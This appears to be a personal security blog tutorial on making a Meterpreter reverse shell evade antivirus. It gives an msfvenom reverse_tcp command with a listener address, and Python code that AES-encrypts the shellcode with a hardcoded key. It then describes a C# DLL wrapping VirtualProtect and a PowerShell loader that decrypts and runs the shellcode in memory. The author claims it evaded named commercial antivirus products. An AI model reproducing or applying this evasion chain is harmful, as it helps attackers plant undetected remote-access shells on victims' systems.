Introduction: The Battle Against Meterpreter Detection
These days, dropping a Meterpreter shell is like waving a red flag in front of Antivirus’s solutions. They’re trained to spot it from a mile away, shutting down your payload before it even gets a chance to breathe. Modern security systems are smarter, faster, and more aggressive in identifying Meterpreter shells, leaving attackers struggling to stay one step ahead.
But what if I told you there’s a way to beat the system? With the right techniques, you can encrypt, obfuscate, and execute your Meterpreter payload without raising a single alarm. Think a Meterpreter shell is very hard to evade? Think again.
Creating a Meterpreter Shell
The first step is generating a payload using msfvenom. We have generated the payload in raw base64 throug the following command
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.166.130 LPORT=4444 -f raw | base64
AES Encryption
The next step i have encrypts the Base64-encoded shellcode using the AES encryption algorithm to evade antivirus detection. By transforming the shellcode into an encrypted, indecipherable format, it bypasses signature-based and heuristic detection commonly used by security solutions. Here’s a high-level explanation of how this works. so i have created a python script to do the job.
The code uses Crypto.Cipher.AES for encryption and base64 for encoding/decoding. The raw shellcode is first decoded from its Base64-encoded format. This prepares the shellcode for encryption, ensuring that it’s in the correct binary format.
raw_shellcode = base64.b64decode(shellcode)
The encryption uses a 16-byte AES key (s3cr3tK3y1234567
) and a 16-byte Initialization Vector (IV) (initvector123456
). These values are critical for securely encrypting the shellcode.
key = b"s3cr3tK3y1234567" and iv = b"initvector123456"
AES requires the input data to be a multiple of 16 bytes. The code calculates the necessary padding and appends it to the shellcode to meet this requirement.
padding_length = 16 - (len(raw_shellcode) % 16)
raw_shellcode += bytes([padding_length]) * padding_length
The AES.new method creates an AES cipher in CBC mode, and the shellcode is encrypted using this cipher. This step transforms the shellcode into an unreadable format.
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_shellcode = cipher.encrypt(raw_shellcode)
The encrypted shellcode is Base64-encoded for easy transportation and embedding in scripts. The final result is printed for use in subsequent steps.
encrypted_base64 = base64.b64encode(encrypted_shellcode) print(encrypted_base64.decode())
Here is the completed script
The script will take the base64 generated msfvenom shell code and encrypted using AES.
Here is the output from our script the encrypted shellcode.
API.dll and VirtualProtect
Antiviruses typically detect malicious activities like shellcode execution by monitoring specific behaviors, including: Direct use of suspicious APIs like VirtualProtect or NtProtectVirtualMemory. Changing memory protection to EXECUTE_READWRITE (ERW–) to allow execution of shellcode. And detecting script patterns that load shellcode, invoke suspicious APIs, or use DllImport to interact with system libraries.
So i have used the API Class to change memory protections. so i created a simple C# code and compile it using mcs -target:library -out:API.dll API.cs
on Linux.
This allows the use of unmanaged functions from the kernel32.dll Windows library in managed .NET code. VirtualProtect is imported to change memory protection of a specific region. VirtualProtect Function:
Changes the protection of a memory region to allow execution (EXECUTE_READWRITE).
-lpAddress: The starting address of the memory region.
-dwSize: The size of the memory region.
-flNewProtect: The new protection for the memory (e.g., 0x40 for EXECUTE_READWRITE).
-lpflOldProtect: Outputs the previous protection.
This step ensures that the memory where the shellcode resides is executable.
We can verify the Verify the Loaded Methods in API.dll through the follwoing commands.
PowerShell to Decrypt and Execute Shellcode
I will separate the script in three parts.
In this part, the script defines the path to the custom API.dll and loads it into the PowerShell session using Add-Type. This step enables the script to use the VirtualProtect function from the DLL to change memory protection later.
Next, the encrypted shellcode is stored in $encShellcode as a base64-encoded string. This obfuscates the shellcode, helping to evade detection by static analysis tools.
Here, the script decrypts the encrypted shellcode using AES in CBC mode with a 16-byte key and IV. The base64-encoded shellcode is first converted to raw bytes, then decrypted using a CryptoStream. The resulting decrypted shellcode is stored in the $shellcode variable.
Once decrypted, memory is allocated for the shellcode using Marshal.AllocHGlobal, and the shellcode is copied into this allocated memory.
This part is uses the VirtualProtect function from API.dll to change the memory protection of the allocated region to PAGE_EXECUTE_READWRITE (0x40). This step is critical for bypassing Data Execution Prevention (DEP), allowing the shellcode to execute.
Next, the script creates a delegate for the shellcode using GetDelegateForFunctionPointer, which enables the execution of the shellcode as if it were a managed function. The shellcode is executed with Invoke, and once done, the allocated memory is freed to clean up. The script ends with a success message, confirming the shellcode ran as intended.
I have run the script in power shell with administrative privilege tested on Windows 11 and 10 and it evade Kaspersky Total Security and Trend Micro Maximum Security and getting Meterpreter shell. The power-shell script was detected by Windows Defender attack surface reduction by i was able to Evade it by adding another layer of obfuscation using GUID Mode below.
Let verity on a debugger the loading of API.dll and change memory protection, i have used (x64dbg) you can download from here https://x64dbg.com/.
In this step, I successfully loaded API.dll into memory, with its base address. To evade detection, I routed the VirtualProtect call through API.dll, ensuring that the program flow would not directly invoke suspicious APIs. A breakpoint was set at the jmp qword ptr ds:[VirtualProtect] instruction, allowing me to intercept the execution just before the memory protection change.
In this step, I have verified the successful memory mapping of API.dll in the Memory Map. The base address of API.dll is shown, with its sections—.text, .rsrc, and .reloc—allocated under IMG (Image) memory type. The Protection column indicates -RW– for the DLL’s main allocation, confirming read and write permissions but no execution permission initially.
This part captures the execution of the NtProtectVirtualMemory function, which modifies the memory protection of a specific region. The disassembly pane shows the highlighted call [NtProtectVirtualMemory], indicating that the function is invoked indirectly via the API.dll layer to obscure detection by Antivirus solutions.
In last part going to the Memory Map tab, which providing a detailed view of the memory regions allocated for ntdll.dll. The .text section is highlighted, which contains the executable code for the library. The memory protection for this region is set to ER— (Execute and Read), ensuring that the instructions in the .text segment can be executed but not modified, a standard security mechanism to prevent code tampering.
Here is video demo of successful execution Meterpreter shell evading endpoint protections.
Wrap-Up
By moving the VirtualProtect call to a separate DLL (API.dll), the PowerShell script avoids directly invoking suspicious APIs, defeating static detection and signature-based scanning. Since Antivirus solutions no longer see direct calls to VirtualProtect or kernel32.dll, the script’s malicious intent is less obvious. Additionally, by routing the VirtualProtect call through API.dll, an indirect execution flow is created: instead of powershell.exe directly invoking kernel32!VirtualProtect, the call chain now includes API.dll, reducing suspicion. API.dll can further obscure detection by dynamically resolving VirtualProtect using function pointers or manual API resolution techniques like GetProcAddress.
This reduces the behavioral signatures that Antivirus systems rely on, as it disrupts typical detection patterns such as LoadLibrary -> VirtualProtect -> Execute. Furthermore, the script uses AES encryption to encrypt the shellcode, ensuring it remains obfuscated in memory and reducing the chances of detection during static analysis. The PowerShell script decrypts the shellcode in memory using a predefined key and IV, loads it into memory, calls API.dll to modify the memory protection, and then executes the shellcode stealthily, bypassing both DEP and Antivirus detection.
I hope you have enjoyed the reading. Mrvar0x 😊